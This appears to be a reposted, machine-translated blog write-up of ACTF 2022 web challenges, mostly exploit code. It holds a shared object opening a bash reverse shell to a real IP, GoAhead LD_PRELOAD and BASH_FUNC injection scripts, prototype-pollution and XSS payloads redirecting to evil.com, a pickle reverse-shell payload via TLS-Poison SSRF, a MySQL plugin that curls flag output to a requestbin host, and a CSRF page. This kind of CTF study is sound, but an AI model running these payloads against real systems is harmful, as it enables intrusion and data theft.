当前位置:网站首页>[2022 actf] Web Topic recurrence
[2022 actf] Web Topic recurrence
2022-07-07 07:45:00 【Snakin_ ya】
gogogo
Examination site :
- goahead Environment variable injection
Problem solving :
see dockerfile The use environment of the problem is goahead5.1.4, Associated with the p God's record of the recurrence of this vulnerability , We have two ways to solve the problem :
- hijacked
LD_PRELOADDynamic link library for - Using environment variable injection RCE
GoAhead Environmental variable injection recurrence stepping on the pit
Law 1 :
hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void aaanb(void)
{
unsetenv("LD_PRELOAD");
system("touch /tmp/success");
system("/bin/bash -c 'bash -i >& /dev/tcp/1.117.171.248/39543 0>&1'");
}
compile
gcc hack.c -fPIC -s -shared -o hack.so
exp.py
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()
def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={
'Content-Type': m.content_type}
)
def race(method):
url = 'http://1.117.171.248:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)
def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))
if __name__ == "__main__":
main()

Law two :
exp.py
import requests
payload = {
"BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}
r = requests.post("http:/1.117.171.248:10218/cgi-bin/hello",files=payload)
print(r.text)

poorui
Take a brief look at the code logic :
server.js
const apiGetFlag = (ws) => {
username2ws.get('flagbot').send(JSON.stringify({
api: "getflag",
from: ws2username.get(ws)
}))
}
The whole topic passed websockets signal communication , When api by getflag Time passes in flagbot
const handleGetFlag = (from) => {
console.log('[getflag]', from)
if(from === 'admin'){
conn.send(JSON.stringify({
api: 'sendflag',
flag: FLAG,
to: from
}))
}
}
Here we find admin There are no restrictions on login , So let's log in admin Again getflag that will do
{"api":"login","username":"admin"}
{"api":"getflag","to":"flagbot"}

The expected solution :
1.lodash prototype pollution
2.image xss (many ways)
3.make the admin refresh the browser page and goto a third party site which would connect to the websocket server as a client
4.login as admin, getflag and send it to your favorite nc -lvp 1337
Prototype chain pollution :
content: {
type: 'tpl',
data: {
tpl: '<h3>{
{b}}</h3>',
ctx: '{"a":123, "b":123, "__proto__":{"allowImage":true}}'
}
}
xss:
content: {
type: 'image',
data: {
src: 'https://i.picsum.photos/id/220/200/200.jpg?hmac=1eed0JUIOlpc-iGslem_jB1FORVXUdRtOmgpHxDDKZQ',
attrs: {
wow: 1,
dangerouslySetInnerHTML: {
__html: "<img οnerrοr='location.href=`http://evil.com`' src=1>"
}
}
}
}
ToLeSion
Examination site :
- TLS-Poison
- An article takes you to understand TLS Poison attack
- TLS-Poison The way of attack is CTF Utilization practice in
Problem solving :
TLS Poison The attack passed FTPS Passive mode ssrf Go fight Memcached, Due to the use memcache Storage session There is de serialization , write in session The value is pickle Deserialization payload.
Use the tools of the land team to build the environment :
https://github.com/ZeddYu/TLS-poison
install TLS Server
# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build
After the environment is ready, you need to create a forwarder with a certificate 11211 The data of the port is forwarded to 2048 port :
target/debug/custom-tls -p 11211 --verbose --certs
/etc/nginx/ssl/ctf.edisec.net.pem --key
/etc/nginx/ssl/ctf.edisec.net.key forward 2048
And then in 2048 The port has a ftp Used to handle forwarded traffic :
import socketserver, threading,sys
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()
def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()
exp.py
import redis
import pickle,requests
def get_pickle_payload(cmd):
class AAA():
def __reduce__(self):
return (__import__('os').system, (cmd,))
aaa = AAA()
payload = pickle.dumps(aaa)
return payload
def parse(x):
return b'\r\n' + x + b'\r\n'
def set(key, value):
return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len(value), value))
def rce():
r = requests.get(
url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/'
)
print(r.text)
r = requests.get(
url = 'http://localhost:10023/?url=file:///etc/passwd',
headers={
'Cookie':'session=aaa'
}
)
print(r.text)
def local_set():
payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"')
r = redis.StrictRedis(host='localhost', port=6379, db=0)
redis_payload = set('actfSession:aaa', payload)
print(redis_payload)
r.set('payload', redis_payload)
if __name__ == "__main__":
rce()
myclient
Source code :
<?php
$con = mysqli_init();
$key = $_GET['key'];
$value = $_GET['value'];
if(strlen($value) > 1500){
die('too long');
}
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
$content = 'connect failed';
} else {
$content = 'connect success';
}
mysqli_close($con);
echo $content;
?>
Problem solving :
Use
MYSQLI_INIT_COMMANDOptions +INTO DUMPFILE, Write a evil mysql Client authentication library to/tmp/e10adc3949ba59abbe56e057f20f883eUse
MYSQLI_INIT_COMMANDOptions +INTO DUMPFILEWrite a Defaults To configure , amonggroup=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883eanddefault-auth=<name of library file - extension>Use
MYSQLI_READ_DEFAULT_FILEOption set to/tmp/e10adc3949ba59abbe56e057f20f883e/To load a malicious configuration file , This file will trigger our evil.so , Then the trigger init function .
RCE
evil.c
#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>
/* Ubuntu x86_64: apt install libmysqlclient-dev gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c NOTE: the plugin_name MUST BE the full name with the directory traversal!!! */
static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-");
return NULL;
}
static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}
mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{
1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;
compile :
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
exp.py
import requests
import random
import string
import codecs
def genName():
return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)
url = "http://1.117.171.248:10047/index.php"
shell = open("exp.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]
print(len(chunks))
prefix = genName()
for idx in range(len(chunks)):
name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
chunk = chunks[idx];
x = "0x" +codecs.encode(chunk,'hex').decode()
if idx != 0 and idx != len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
print(name)
elif idx == len(chunks)-1:
previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
sql = f"SELECT concat(LOAD_FILE('{
previus_name}'), {
x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
open("name","w").write("auth_simple")
print("auth_simple")
else:
sql = f"SELECT {
x} INTO DUMPFILE '{
name}'"
r = requests.get(url,params={
"key":"3", "value": sql})
print(r.text)
beWhatYouWannaBe
exp.html
<html>
<head>
<title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>
<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="aaa">
<input name="csrftoken" id="csrftoken" value="1">
</form>
<script> function getToken() {
return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString()) } $("#csrftoken").attr("value", getToken()) document.getElementById("form").submit() </script>
</body>
</html>
https://portswigger.net/research/dom-clobbering-strikes-back
Reference resources :
http://www.yongsheng.site/2022/06/30/AAActf/
https://github.com/team-s2/ACTF-2022/tree/main/web
边栏推荐
- How to * * labelimg
- 测试周期被压缩?教你9个方法去应对
- UWB learning 1
- [performance pressure test] how to do a good job of performance pressure test?
- 外包幹了三年,廢了...
- php导出百万数据
- Resource create package method
- Talk about seven ways to realize asynchronous programming
- Technology cloud report: from robot to Cobot, human-computer integration is creating an era
- Leetcode sword finger offer brush questions - day 20
猜你喜欢
![[GUET-CTF2019]虚假的压缩包](/img/a2/7da2a789eb49fa0df256ab565d5f0e.png)
[GUET-CTF2019]虚假的压缩包
![[Stanford Jiwang cs144 project] lab3: tcpsender](/img/82/5f99296764937e7d119b8ab22828fd.png)
[Stanford Jiwang cs144 project] lab3: tcpsender

Outsourcing for three years, abandoned

Leetcode-206. Reverse Linked List

How can a 35 year old programmer build a technological moat?
![[webrtc] M98 screen and window acquisition](/img/b1/1ca13b6d3fdbf18ff5205ed5584eef.png)
[webrtc] M98 screen and window acquisition

resource 创建包方式

How to * * labelimg

一、Go知识查缺补漏+实战课程笔记 | 青训营笔记

Common method signatures and meanings of Iterable, collection and list
随机推荐
A bit of knowledge - about Apple Certified MFI
CentOS7下安装PostgreSQL11数据库
What are the positions of communication equipment manufacturers?
Common method signatures and meanings of Iterable, collection and list
URP - shaders and materials - light shader lit
图解GPT3的工作原理
外包幹了三年,廢了...
After the interview, the interviewer roast in the circle of friends
Is the test cycle compressed? Teach you 9 ways to deal with it
buuctf misc USB
I failed in the postgraduate entrance examination and couldn't get into the big factory. I feel like it's over
The annual salary of general test is 15W, and the annual salary of test and development is 30w+. What is the difference between the two?
Interviewer: what development models do you know?
resource 创建包方式
Simple example of ros2 planning system plansys2
直播平台源码,可折叠式菜单栏
php导出百万数据
【webrtc】m98 screen和window采集
3、 High quality programming and performance tuning practical youth training camp notes
知识点滴 - 关于苹果认证MFI